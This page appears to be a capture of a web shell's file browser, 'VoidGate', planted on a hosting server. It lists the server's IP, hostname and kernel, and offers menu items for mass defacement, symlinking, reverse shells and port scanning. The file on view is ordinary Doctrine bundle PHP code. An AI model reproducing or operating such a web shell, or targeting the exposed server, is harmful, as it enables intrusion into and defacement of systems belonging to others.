ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
doctrine
/
doctrine-bundle
/
Command
/
Viewing: DoctrineCommand.php
<?php namespace Doctrine\Bundle\DoctrineBundle\Command; use Doctrine\DBAL\Connection; use Doctrine\DBAL\Sharding\PoolingShardConnection; use Doctrine\ORM\EntityManager; use Doctrine\ORM\EntityManagerInterface; use Doctrine\ORM\Tools\EntityGenerator; use Doctrine\Persistence\ManagerRegistry; use LogicException; use Symfony\Component\Console\Command\Command; use function sprintf; use function trigger_deprecation; /** * Base class for Doctrine console commands to extend from. * * @internal */ abstract class DoctrineCommand extends Command { /** @var ManagerRegistry */ private $doctrine; public function __construct(ManagerRegistry $doctrine) { parent::__construct(); $this->doctrine = $doctrine; } /** * get a doctrine entity generator * * @return EntityGenerator */ protected function getEntityGenerator() { $entityGenerator = new EntityGenerator(); $entityGenerator->setGenerateAnnotations(false); $entityGenerator->setGenerateStubMethods(true); $entityGenerator->setRegenerateEntityIfExists(false); $entityGenerator->setUpdateEntityIfExists(true); $entityGenerator->setNumSpaces(4); $entityGenerator->setAnnotationPrefix('ORM\\'); return $entityGenerator; } /** * Get a doctrine entity manager by symfony name. * * @param string $name * @param int|null $shardId * * @return EntityManager */ protected function getEntityManager($name, $shardId = null) { $manager = $this->getDoctrine()->getManager($name); if ($shardId) { trigger_deprecation( 'doctrine/doctrine-bundle', '2.7', 'Passing a "shardId" argument to "%s" is deprecated. DBAL 3 does not support shards anymore.', __METHOD__ ); if (! $manager instanceof EntityManagerInterface) { throw new LogicException(sprintf('Sharding is supported only in EntityManager of instance "%s".', EntityManagerInterface::class)); } $connection = $manager->getConnection(); if (! $connection instanceof PoolingShardConnection) { throw new LogicException(sprintf("Connection of EntityManager '%s' must implement shards configuration.", $name)); } $connection->connect($shardId); } return $manager; } /** * Get a doctrine dbal connection by symfony name. * * @param string $name * * @return Connection */ protected function getDoctrineConnection($name) { return $this->getDoctrine()->getConnection($name); } /** @return ManagerRegistry */ protected function getDoctrine() { return $this->doctrine; } }
Coded With 💗 by
0x6ick